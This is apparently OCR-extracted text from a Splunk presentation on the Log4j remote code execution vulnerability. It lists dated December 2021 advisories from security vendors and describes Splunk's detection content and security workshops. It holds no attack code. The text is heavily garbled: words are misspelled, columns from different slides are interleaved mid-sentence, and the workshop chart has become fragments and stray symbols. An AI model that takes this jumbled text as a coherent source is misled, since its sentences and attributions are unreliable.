Pt b 13,3023 Atlassian Confluence How to detect Log4j 2 Remote
b rerned Vuinerabiiity ot — Code Execution

e Ty agrem s Road the Blog

Select Communications from the Cybersecurity Industry

Information sharing entities (e.g., ISACs and ISAOs) and cybersecurity companies leveraged social media (e.g.,
Twitter), blogs, webinars, and similar broadcasting methods to provide quick and comprehensive details to
defenders and the wider public regarding exploitation activity.

® December 9, 2021 - Splunk issued an advisory on how to detect Log4j exploitation. 197
® December 10, 2021 - SANS published a forum post on the Logdj vulnerability and exploitation.1%8

) . ' . ) Detections Analytic Stories Playbooks
e December 10, 2021 - CrowdStrike published a blog post on Log4j vuinerability analysis and See all 795 Splunk Analytics buiit to find evil  See all 117 use cases, lof detections built See all 31 automated investigation '+ and
1 to address a threat. response % playbooks

mitigation recommendations.1%°
® December 10, 2021 - Palo Alto issued an advisory about the Logdj vulnerability and mitigation &2 =3 =

guidance,?%0
Welcome to Splunk Security Content
This project gives you access to our repository of Analytic Stories that are security guides which provide background on TTPs,
mapped to the MITRE framework, the Lockheed Martin Kill Chain, and CIS controls. They include Splunk searches, machine-
learning algorithms, and Splunk SOAR playbooks (where available)—all designed to work together to detect, investigate, and
respond to threats.

e December 11, 2021 - Microsoft issued an advisory for preventing, detecting, and hunting for
exploitation of the Log4j vulnerability. 201



© 2022 SPLUNK INC.

SecOps Journey - Skillset

Continuous Improvement

o 101 Workshop Splunk for Security Workshops
UBA Hands-O . Foequty " .AWS Hand o. .AWS z A““"- .M K8. Correlatl
. ands-On ecurity ands-On ? ' onitoring K8s orrelation
o Splunk Security Workshop (ESHO) in the Cloud Searches
[ il i ] LI I il
O BOSS Of the SOC Insider Threat Phantom GCP in Splunk Splunking the Splunking for Advanced APT
Hands-On Hands-On P Endpoint Fraud Hunting
& . ] | 1] o HE e B
& Security Lunch Osef:tm - Hunting in the Investigating Rlﬂ(eﬁia:‘sed Hunting an
m ‘ n' Learn itepeHands-On MS Cloud with Splunk Hands-gn APT: A New
splunk> Adversary

BOSS

of the S0C
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Thank You
splunk> Z213[1 2k B38

i
My
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